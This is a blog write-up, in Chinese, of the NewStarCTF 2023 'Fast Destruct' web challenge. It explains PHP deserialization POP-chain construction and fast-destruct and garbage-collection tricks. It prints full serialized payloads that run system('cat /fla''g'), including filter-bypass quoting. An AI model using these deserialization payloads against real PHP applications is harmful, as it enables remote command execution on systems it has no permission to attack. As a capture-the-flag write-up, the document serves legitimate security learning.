【newstarctf2023】Fast Destruct
【newstarctf】 More Fast pop 链构造
题目源码
1 |
|
解题思路
看到题目,在 Web 这个类里面才能 RCE,也就是说最后的 POP
链要在 Web 结束,往前推发现 Pwn 类里有 evil 说明是由 Pwn 类到 Web 类。
触发 Pwn 类的__invoke()需要将 Pwn 类作为函数调用,可以看到Reverse类满足要求,所以是 Reverse 类到 Pwn 类。
Reverse类的 __get()方法需要访问一个不存在的属性,可以看到Crypto类满足条件,所以是Crypto类到 Reverse 类。
Crypto 类的__toString()在Start类的 die 函数中可以触发,说明是 Start 类到 Crypto 类。
所以这道题的 POP 链构造为:
1 | Start::__destruct -> Crypto::__toString -> Reverse::__get -> Pwn::__invoke -> Web::evil |
POP链构造很容易,构造 POP 链的代码为:
1 |
|
主要是如何将 Start 类的 __destruct 作为入口触发。这里要介绍一下 fast destruct 技术:
- 在 php 中,如果单独执行 unserialize 函数进行反序列化,那么反序列化后的对象的生命周期就会仅限于 unserialize 函数执行的生命周期,unserialize函数执行完毕,这个类就销毁了,此时就会调用 destruct。
- 如果将 unserialize 反序列化后的对象赋值给另一个变量,那么该对象的生命周期就会延长至该变量销毁为止。
- unserialize 过程中是逐字读取的,他会先把读取到的内容分配内存空间,在结束的时候统一调用。
以上三条意味着我们可以修改反序列化字符串的结构,当 unserialize 读到不正确的结构时会直接强制退出,这时 unserialize 执行结束,类销毁,会调用 destruct,对于已经分配好内存空间的类来说,就是提前调用了 destruct 。
fast destruct有两种方法:
序列化好后的结果为:
1 | O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:11:"cat /fla''g";}}}}} |
- 修改序列化数字元素个数(O:5 -> O:6):
1 | O:6:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:11:"cat /fla''g";}}}}} |
- 去掉序列化尾部 }:
1 | O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:11:"cat /fla''g"; |
通过这两种方法均可拿到 flag:
官方题解
官方题解给出了一个基于 GC 垃圾回收机制的绕过,PHP中 有垃圾回收机制,当触发垃圾回收机制时,则会自动调用 destruct 函数,触发垃圾回收机制的方法有:
- 源码中有 unset() 函数,可以直接销毁对象
- 当给对象赋值为 NULL 时,可以触发
- 当对象失去引用时,可以触发
官方的题解中,通过修改下标的方式,让已经分配好内存的对象失去引用
1 | $a = new Start(); |
结果为:
1 | a:2:{i:1;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:11:"cat /fl''ag";}}}}}i:1;N;} |
这里 i:1 在后面会再次声明,前面那个对象失去引用,所以就出发了 destruct,这种方式可以绕过抛出异常,应用范围更广一些。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 貳壹肆の博客!
评论